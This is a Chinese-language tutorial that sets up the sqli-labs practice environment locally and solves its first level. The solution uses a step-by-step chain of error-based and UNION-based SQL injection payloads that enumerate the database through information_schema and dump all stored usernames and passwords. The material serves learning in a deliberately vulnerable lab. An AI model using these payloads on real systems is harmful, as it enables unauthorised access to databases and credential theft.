首先是环境搭建-点击下载
- PhpStudy_64 集成了apache2.4和mysql5.7
- Sql-labs-php7 靶场
下载好后 打开PhpStudy启动apache和mysql
设置网站根目录指向保存的sql-labs目录
修改sql-labs数据库连接配置文件
在sql-labs目录下的sql-connections/db-creds.inc文件
改为自己实际的mysql账号和密码 默认为root/root
启用网站 (我的网站端口是8091)
访问http://127.0.0.1:8091 页面打开效果图
安装security数据库点击页面中 Setup/reset Database for labs
至此 sql-labs靶场环境搭建完成
点击选择关卡
-
LESS-1
1.判断有无注入点
uri上拼接
?id=1'
返回报错 证明有注入点
2.判断注入类型 利用--+注释(用%23替换也可以 %23代表#符号 直接写#符号是不行的 会被浏览器认为是锚链接) 注掉语句后面的sql
?id=1 and 1=2--+ 正常返回
?id=1' and 1=2--+ 无返回
无返回证明类型为字符型注入
3.利用order by查找列数量
?id=1' order by 1--+ 正常执行
?id=1' order by 2--+ 正常执行
?id=1' order by 3--+ 正常执行
?id=1' order by 4--+ 报错 Unknown column '4' in 'order clause'
说明表中只有3列
4.利用union拼接sql 查看回显点 id改为-1(-1不是固定写法,只是为了使其查不到数据而显示我们的sql数据)
?id=-1' union select 1,2,3--+
回显点为第二列和第三列的字段
5.查看用户和数据库名
?id=-1' union select 1,user(),database()--+
发现为root,可高权限注入
6.利用系统库information_schema库查出security所有表名和表字段名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security'--+
查出四个表,接下来查询users表字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'--+
查出字段为 id,username,password
7.查询出所有账号密码,结束
现在我们拿到的数据有:
用户: root
数据库: scurity
表: users
字段: id,username,password
构建注入语句
?id=-1' union select 1,2,(select group_concat('账号:',username,' 密码:',password) from users)--+
通过学习第一关的过关方法,想必小伙伴们已经初步掌握了SQL注入相关的一些技巧~
前4关的关卡大同小异,小伙伴们可以自己尝试过关 加深印象~